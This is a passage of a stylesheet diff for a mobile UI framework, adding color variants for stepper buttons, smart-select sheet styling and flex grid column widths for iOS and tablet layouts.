.stepper.color-green.stepper-fill .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill .stepper-button:before, +.md .stepper.color-green.stepper-fill-md .stepper-button:before, +.md .stepper.color-green.stepper-fill .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill .stepper-button-plus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-blue .stepper-button, +.md .stepper.color-blue .stepper-button-minus, +.md .stepper.color-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .stepper.color-blue .stepper-button-plus:after, +.md .stepper.color-blue .stepper-button-minus:after, +.md .stepper.color-blue .stepper-button-plus:before, +.md .stepper.color-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper.color-blue .stepper-value, +.md .stepper.color-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .stepper.color-blue .stepper-value { + color: #2196f3; +} +.md .stepper.color-blue .stepper-input-wrap input { + color: #2196f3; +} +.md .stepper.color-blue.stepper-fill .stepper-button, +.md .stepper.color-blue.stepper-fill-md .stepper-button, +.md .stepper.color-blue.stepper-fill .stepper-button-minus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus, +.md .stepper.color-blue.stepper-fill .stepper-button-plus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .stepper.color-blue.stepper-fill .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper.color-blue.stepper-fill .stepper-button:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button:after, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill .stepper-button:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button:before, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-pink .stepper-button, +.md .stepper.color-pink .stepper-button-minus, +.md .stepper.color-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .stepper.color-pink .stepper-button-plus:after, +.md .stepper.color-pink .stepper-button-minus:after, +.md .stepper.color-pink .stepper-button-plus:before, +.md .stepper.color-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .stepper.color-pink .stepper-value, +.md .stepper.color-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .stepper.color-pink .stepper-value { + color: #e91e63; +} +.md .stepper.color-pink .stepper-input-wrap input { + color: #e91e63; +} +.md .stepper.color-pink.stepper-fill .stepper-button, +.md .stepper.color-pink.stepper-fill-md .stepper-button, +.md .stepper.color-pink.stepper-fill .stepper-button-minus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus, +.md .stepper.color-pink.stepper-fill .stepper-button-plus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .stepper.color-pink.stepper-fill .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .stepper.color-pink.stepper-fill .stepper-button:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button:after, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill .stepper-button:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button:before, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-yellow .stepper-button, +.md .stepper.color-yellow .stepper-button-minus, +.md .stepper.color-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-button-plus:after, +.md .stepper.color-yellow .stepper-button-minus:after, +.md .stepper.color-yellow .stepper-button-plus:before, +.md .stepper.color-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value, +.md .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value { + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-input-wrap input { + color: #ffeb3b; +} +.md .stepper.color-yellow.stepper-fill .stepper-button, +.md .stepper.color-yellow.stepper-fill-md .stepper-button, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .stepper.color-yellow.stepper-fill .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .stepper.color-yellow.stepper-fill .stepper-button:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:after, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill .stepper-button:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-orange .stepper-button, +.md .stepper.color-orange .stepper-button-minus, +.md .stepper.color-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .stepper.color-orange .stepper-button-plus:after, +.md .stepper.color-orange .stepper-button-minus:after, +.md .stepper.color-orange .stepper-button-plus:before, +.md .stepper.color-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .stepper.color-orange .stepper-value, +.md .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .stepper.color-orange .stepper-value { + color: #ff9800; +} +.md .stepper.color-orange .stepper-input-wrap input { + color: #ff9800; +} +.md .stepper.color-orange.stepper-fill .stepper-button, +.md .stepper.color-orange.stepper-fill-md .stepper-button, +.md .stepper.color-orange.stepper-fill .stepper-button-minus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus, +.md .stepper.color-orange.stepper-fill .stepper-button-plus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .stepper.color-orange.stepper-fill .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .stepper.color-orange.stepper-fill .stepper-button:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button:after, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill .stepper-button:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button:before, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-gray .stepper-button, +.md .stepper.color-gray .stepper-button-minus, +.md .stepper.color-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-button-plus:after, +.md .stepper.color-gray .stepper-button-minus:after, +.md .stepper.color-gray .stepper-button-plus:before, +.md .stepper.color-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .stepper.color-gray .stepper-value, +.md .stepper.color-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .stepper.color-gray .stepper-value { + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-input-wrap input { + color: #9e9e9e; +} +.md .stepper.color-gray.stepper-fill .stepper-button, +.md .stepper.color-gray.stepper-fill-md .stepper-button, +.md .stepper.color-gray.stepper-fill .stepper-button-minus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus, +.md .stepper.color-gray.stepper-fill .stepper-button-plus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .stepper.color-gray.stepper-fill .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .stepper.color-gray.stepper-fill .stepper-button:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button:after, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill .stepper-button:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button:before, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-white .stepper-button, +.md .stepper.color-white .stepper-button-minus, +.md .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .stepper.color-white .stepper-button-plus:after, +.md .stepper.color-white .stepper-button-minus:after, +.md .stepper.color-white .stepper-button-plus:before, +.md .stepper.color-white .stepper-button-minus:before { + background: #ffffff; +} +.md .stepper.color-white .stepper-value, +.md .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .stepper.color-white .stepper-value { + color: #ffffff; +} +.md .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.md .stepper.color-white.stepper-fill .stepper-button, +.md .stepper.color-white.stepper-fill-md .stepper-button, +.md .stepper.color-white.stepper-fill .stepper-button-minus, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus, +.md .stepper.color-white.stepper-fill .stepper-button-plus, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .stepper.color-white.stepper-fill .stepper-button.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .stepper.color-white.stepper-fill .stepper-button:after, +.md .stepper.color-white.stepper-fill-md .stepper-button:after, +.md .stepper.color-white.stepper-fill .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill .stepper-button:before, +.md .stepper.color-white.stepper-fill-md .stepper-button:before, +.md .stepper.color-white.stepper-fill .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill .stepper-button-plus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-black .stepper-button, +.md .stepper.color-black .stepper-button-minus, +.md .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .stepper.color-black .stepper-button-plus:after, +.md .stepper.color-black .stepper-button-minus:after, +.md .stepper.color-black .stepper-button-plus:before, +.md .stepper.color-black .stepper-button-minus:before { + background: #000000; +} +.md .stepper.color-black .stepper-value, +.md .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .stepper.color-black .stepper-value { + color: #000000; +} +.md .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button, +.md .stepper.color-black.stepper-fill-md .stepper-button, +.md .stepper.color-black.stepper-fill .stepper-button-minus, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus, +.md .stepper.color-black.stepper-fill .stepper-button-plus, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .stepper.color-black.stepper-fill .stepper-button.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button:after, +.md .stepper.color-black.stepper-fill-md .stepper-button:after, +.md .stepper.color-black.stepper-fill .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill .stepper-button:before, +.md .stepper.color-black.stepper-fill-md .stepper-button:before, +.md .stepper.color-black.stepper-fill .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill .stepper-button-plus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +/* === Smart Select === */ +.smart-select select { + display: none; +} +.smart-select .item-after { + max-width: 70%; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + display: block; +} +.sheet-modal.smart-select-sheet .sheet-modal-inner { + background: #fff; +} +.sheet-modal.smart-select-sheet .list { + margin: 0; +} +.sheet-modal.smart-select-sheet .list ul:before { + display: none !important; +} +.sheet-modal.smart-select-sheet .list ul:after { + display: none !important; +} +.smart-select-popover .popover-inner { + max-height: 40vh; +} +.ios .smart-select-sheet .page { + background: #fff; +} +.ios .smart-select-sheet .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .smart-select-sheet .page, +.ios .theme-dark .smart-select-sheet .sheet-modal-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .smart-select-sheet .toolbar:after { + background-color: #282829; +} +.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner { + background-color: transparent; +} +/* === Grid === */ +.row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.row > [class*="col-"], +.row > .col { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.row .col { + width: 100%; +} +/* === Grid === */ +.ios .row .col-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col-100 { + width: 100%; +} +.ios .row .col-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); +} +.ios .row.no-gap .col-95 { + width: 95%; +} +.ios .row .col-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); +} +.ios .row.no-gap .col-90 { + width: 90%; +} +.ios .row .col-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); +} +.ios .row.no-gap .col-85 { + width: 85%; +} +.ios .row .col-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); +} +.ios .row.no-gap .col-80 { + width: 80%; +} +.ios .row .col-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); +} +.ios .row.no-gap .col-75 { + width: 75%; +} +.ios .row .col-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); +} +.ios .row.no-gap .col-70 { + width: 70%; +} +.ios .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); +} +.ios .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.ios .row .col-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); +} +.ios .row.no-gap .col-65 { + width: 65%; +} +.ios .row .col-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); +} +.ios .row.no-gap .col-60 { + width: 60%; +} +.ios .row .col-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); +} +.ios .row.no-gap .col-55 { + width: 55%; +} +.ios .row .col-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col-50 { + width: 50%; +} +.ios .row .col-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); +} +.ios .row.no-gap .col-45 { + width: 45%; +} +.ios .row .col-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); +} +.ios .row.no-gap .col-40 { + width: 40%; +} +.ios .row .col-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); +} +.ios .row.no-gap .col-35 { + width: 35%; +} +.ios .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.ios .row .col-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); +} +.ios .row.no-gap .col-30 { + width: 30%; +} +.ios .row .col-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col-25 { + width: 25%; +} +.ios .row .col-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col-20 { + width: 20%; +} +.ios .row .col-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); +} +.ios .row.no-gap .col-15 { + width: 15%; +} +.ios .row .col-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col-10 { + width: 10%; +} +.ios .row .col-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col-5 { + width: 5%; +} +.ios .row .col:nth-last-child(1), +.ios .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col:nth-last-child(1), +.ios .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.ios .row .col:nth-last-child(2), +.ios .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col:nth-last-child(2), +.ios .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.ios .row .col:nth-last-child(3), +.ios .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col:nth-last-child(3), +.ios .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.ios .row .col:nth-last-child(4), +.ios .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col:nth-last-child(4), +.ios .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.ios .row .col:nth-last-child(5), +.ios .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col:nth-last-child(5), +.ios .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.ios .row .col:nth-last-child(6), +.ios .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); +} +.ios .row.no-gap .col:nth-last-child(6), +.ios .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.ios .row .col:nth-last-child(7), +.ios .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); +} +.ios .row.no-gap .col:nth-last-child(7), +.ios .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.ios .row .col:nth-last-child(8), +.ios .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 15px*7) / 8); +} +.ios .row.no-gap .col:nth-last-child(8), +.ios .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.ios .row .col:nth-last-child(9), +.ios .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); +} +.ios .row.no-gap .col:nth-last-child(9), +.ios .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.ios .row .col:nth-last-child(10), +.ios .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col:nth-last-child(10), +.ios .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.ios .row .col:nth-last-child(11), +.ios .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); +} +.ios .row.no-gap .col:nth-last-child(11), +.ios .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.ios .row .col:nth-last-child(12), +.ios .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); +} +.ios .row.no-gap .col:nth-last-child(12), +.ios .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.ios .row .col:nth-last-child(13), +.ios .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); +} +.ios .row.no-gap .col:nth-last-child(13), +.ios .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.ios .row .col:nth-last-child(14), +.ios .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); +} +.ios .row.no-gap .col:nth-last-child(14), +.ios .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.ios .row .col:nth-last-child(15), +.ios .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); +} +.ios .row.no-gap .col:nth-last-child(15), +.ios .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.ios .row .col:nth-last-child(16), +.ios .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 15px*15) / 16); +} +.ios .row.no-gap .col:nth-last-child(16), +.ios .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.ios .row .col:nth-last-child(17), +.ios .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); +} +.ios .row.no-gap .col:nth-last-child(17), +.ios .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.ios .row .col:nth-last-child(18), +.ios .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); +} +.ios .row.no-gap .col:nth-last-child(18), +.ios .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.ios .row .col:nth-last-child(19), +.ios .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); +} +.ios .row.no-gap .col:nth-last-child(19), +.ios .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.ios .row .col:nth-last-child(20), +.ios .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col:nth-last-child(20), +.ios .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.ios .row .col:nth-last-child(21), +.ios .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); +} +.ios .row.no-gap .col:nth-last-child(21), +.ios .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .ios .row .tablet-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-100 { + width: 100%; + } + .ios .row .tablet-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .tablet-95 { + width: 95%; + } + .ios .row .tablet-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .tablet-90 { + width: 90%; + } + .ios .row .tablet-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .tablet-85 { + width: 85%; + } + .ios .row .tablet-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .tablet-80 { + width: 80%; + } + .ios .row .tablet-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .tablet-75 { + width: 75%; + } + .ios .row .tablet-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .tablet-70 { + width: 70%; + } + .ios .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .ios .row .tablet-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .tablet-65 { + width: 65%; + } + .ios .row .tablet-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .tablet-60 { + width: 60%; + } + .ios .row .tablet-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .tablet-55 { + width: 55%; + } + .ios .row .tablet-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-50 { + width: 50%; + } + .ios .row .tablet-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .tablet-45 { + width: 45%; + } + .ios .row .tablet-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .tablet-40 { + width: 40%; + } + .ios .row .tablet-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .tablet-35 { + width: 35%; + } + .ios .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .ios .row .tablet-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .tablet-30 { + width: 30%; + } + .ios .row .tablet-25 { + width: 25%; + width: 